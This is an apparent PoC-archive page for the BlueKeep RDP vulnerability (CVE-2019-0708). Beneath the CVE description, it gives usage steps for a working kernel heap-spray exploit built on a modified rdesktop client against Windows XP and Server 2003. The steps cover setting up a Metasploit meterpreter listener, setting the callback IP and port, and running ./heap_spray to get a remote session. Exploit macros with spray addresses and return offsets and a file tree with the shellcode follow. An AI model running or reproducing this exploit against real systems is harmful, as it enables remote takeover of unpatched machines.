关联漏洞
标题:
Microsoft Remote Desktop Services 资源管理错误漏洞
(CVE-2019-0708)
描述:Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品。Microsoft Windows是一套个人设备使用的操作系统。Microsoft Windows Server是一套服务器操作系统。Remote Desktop Services是其中的一个远程桌面服务组件。 Microsoft Remote Desktop Services中存在资源管理错误漏洞。该漏洞源于网络系统或产品对系统资源(如内存、磁盘空间、文件等)的管理不当。以下
描述
it works on xp (all version sp2 sp3)
介绍
1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. 修改config,配置回连ip和端口
192.168.116.133
6000
4. 执行 ./heap_spray 192.168.116.134 (134是xp的地址,内存大于等于2G)
5. msfconsole meterpreter 会得到session
ps:
shellcode/shellcode.asm 是内核shellcode源码,编译以后转成二进制,就是rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b文件了,make的时候会直接编译进程序。
目前仅支持xp,需要xp的内存 >= 2G
如果需要支持2003,需要修改heap_spray.c 里面的 HEAP_SPRAY_ADDRESS 宏地址,经过反复测试,这个地址在03的不同系统版本,不同内存大小是不一样的。但是如果要测试
自己的机器的话,是可以成功在03上利用。不具备通用性。
heap_spray.c
#ifdef _2003
#define HEAP_SPRAY_ADDRESS 0x953b09c0 //需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues
#define IcaChannelInputInternal_RET_OFFSET 0x268
#else
#define IcaChannelInputInternal_RET_OFFSET 0x274
#define HEAP_SPRAY_ADDRESS 0x88c969c0
#endif
测试03
1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. 修改config,配置回连ip和端口
192.168.116.133
6000
4. 执行 ./_2003_heap_spray 192.168.116.135 (135是03的地址,内存大于等于2G)
5. msfconsole meterpreter 会得到session

文件快照
[4.0K] /data/pocs/d34bf4b1a1d3ee1b06996a47e06e6dc8c831ef12
├── [1.2M] 1.png
├── [4.0K] rdesktop-1.5.0
│ ├── [4.0K] autom4te.cache
│ │ ├── [208K] output.0
│ │ ├── [208K] output.1
│ │ ├── [4.5K] requests
│ │ ├── [ 21K] traces.0
│ │ └── [ 38K] traces.1
│ ├── [ 19K] bitmap.c
│ ├── [ 46] bootstrap
│ ├── [9.0K] cache.c
│ ├── [ 755] cf517d077e9c152120787eb6b251615b
│ ├── [4.7K] channels.c
│ ├── [4.9K] cliprdr.c
│ ├── [ 20] config
│ ├── [ 41K] config.guess
│ ├── [ 55K] config.log
│ ├── [ 25K] config.status
│ ├── [ 30K] config.sub
│ ├── [207K] configure
│ ├── [ 18K] configure.ac
│ ├── [ 12K] constants.h
│ ├── [ 18K] COPYING
│ ├── [ 28K] disk.c
│ ├── [4.5K] disk.h
│ ├── [4.0K] doc
│ │ ├── [ 528] AUTHORS
│ │ ├── [2.9K] ChangeLog
│ │ ├── [ 740] HACKING
│ │ ├── [1.0K] ipv6.txt
│ │ ├── [3.1K] keymap-names.txt
│ │ ├── [6.8K] keymapping.txt
│ │ ├── [9.0K] keynums.png
│ │ ├── [2.9K] licensing.txt
│ │ ├── [ 934] lspci-channel.txt
│ │ ├── [9.1K] patches.txt
│ │ ├── [8.1K] rdesktop.1
│ │ ├── [1.5K] redirection.txt
│ │ ├── [6.5K] seamlessrdp-channel.txt
│ │ └── [1.7K] TODO
│ ├── [ 11K] ewmhints.c
│ ├── [519K] heap_spray
│ ├── [6.7K] heap_spray.c
│ ├── [ 70] indent-all.sh
│ ├── [5.4K] install-sh
│ ├── [4.3K] iso.c
│ ├── [4.0K] keymaps
│ │ ├── [2.2K] ar
│ │ ├── [4.4K] common
│ │ ├── [1.8K] convert-map
│ │ ├── [ 833] cs
│ │ ├── [2.5K] da
│ │ ├── [2.4K] de
│ │ ├── [2.5K] de-ch
│ │ ├── [2.9K] en-dv
│ │ ├── [2.5K] en-gb
│ │ ├── [ 609] en-us
│ │ ├── [2.2K] es
│ │ ├── [1.1K] et
│ │ ├── [2.6K] fi
│ │ ├── [ 907] fo
│ │ ├── [2.5K] fr
│ │ ├── [2.7K] fr-be
│ │ ├── [ 934] fr-ca
│ │ ├── [2.5K] fr-ch
│ │ ├── [1.4K] he
│ │ ├── [2.6K] hr
│ │ ├── [1.8K] hu
│ │ ├── [3.0K] is
│ │ ├── [2.4K] it
│ │ ├── [2.1K] ja
│ │ ├── [ 644] ko
│ │ ├── [1.1K] lt
│ │ ├── [2.8K] lv
│ │ ├── [2.3K] mk
│ │ ├── [ 321] modifiers
│ │ ├── [1.1K] nl
│ │ ├── [2.8K] nl-be
│ │ ├── [2.5K] no
│ │ ├── [2.6K] pl
│ │ ├── [2.4K] pt
│ │ ├── [1.3K] pt-br
│ │ ├── [2.5K] ru
│ │ ├── [2.2K] sl
│ │ ├── [ 987] sv
│ │ ├── [3.0K] th
│ │ └── [2.2K] tr
│ ├── [8.3K] licence.c
│ ├── [4.4K] lspci.c
│ ├── [7.2K] Makefile
│ ├── [4.7K] Makefile.in
│ ├── [8.8K] mcs.c
│ ├── [8.5K] mppc.c
│ ├── [2.5K] mst120.c
│ ├── [ 28K] orders.c
│ ├── [5.7K] orders.h
│ ├── [4.3K] parallel.c
│ ├── [3.6K] parse.h
│ ├── [4.1K] printer.c
│ ├── [6.8K] printercache.c
│ ├── [ 14K] proto.h
│ ├── [ 944] proto.head
│ ├── [ 74] proto.tail
│ ├── [5.2K] pstcache.c
│ ├── [518K] rdesktop
│ ├── [ 32K] rdesktop.c
│ ├── [2.8K] rdesktop.h
│ ├── [ 883] rdesktop.spec
│ ├── [2.8K] rdp5.c
│ ├── [ 33K] rdp.c
│ ├── [ 26K] rdpdr.c
│ ├── [5.9K] rdpsnd.c
│ ├── [6.1K] rdpsnd_libao.c
│ ├── [5.7K] rdpsnd_oss.c
│ ├── [7.7K] rdpsnd_sgi.c
│ ├── [6.2K] rdpsnd_sun.c
│ ├── [1.1K] README
│ ├── [9.4K] scancodes.h
│ ├── [8.3K] seamless.c
│ ├── [ 845] seamless.h
│ ├── [ 24K] secure.c
│ ├── [ 27K] serial.c
│ ├── [5.8K] tcp.c
│ ├── [5.0K] types.h
│ ├── [4.0K] uiports
│ │ ├── [ 715] makefile_nanox
│ │ ├── [1.6K] makefile_qt
│ │ ├── [ 740] makefile_qte
│ │ ├── [1.4K] makefile_svga
│ │ ├── [ 392] makefile_xxx
│ │ ├── [ 251] nanoxreadme.txt
│ │ ├── [ 39K] nanoxwin.c
│ │ ├── [ 377] qtereadme.txt
│ │ ├── [ 68K] qtewin.cpp
│ │ ├── [2.2K] qtewin.h
│ │ ├── [ 365] qtreadme.txt
│ │ ├── [ 47K] qtwin.cpp
│ │ ├── [ 683] qtwin.h
│ │ ├── [ 511] readme.txt
│ │ ├── [ 994] svgareadme.txt
│ │ ├── [ 47K] svgawin.c
│ │ └── [9.7K] xxxwin.c
│ ├── [4.0K] vnc
│ │ ├── [ 29K] vnc.c
│ │ ├── [2.2K] vnc.h
│ │ ├── [ 43K] x11stubs.c
│ │ └── [ 879] x11stubs.h
│ ├── [ 35K] xclip.c
│ ├── [ 23K] xkeymap.c
│ ├── [ 541] xproto.h
│ └── [ 82K] xwin.c
├── [1.5K] README.md
└── [4.0K] shellcode
├── [ 989] DriverEntry.c
├── [ 28K] KmdManager.exe
├── [ 779] makefile
├── [442K] nasm-2.14.03rc2.rar
├── [ 23K] shellcode.asm
└── [ 95] sources
7 directories, 152 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。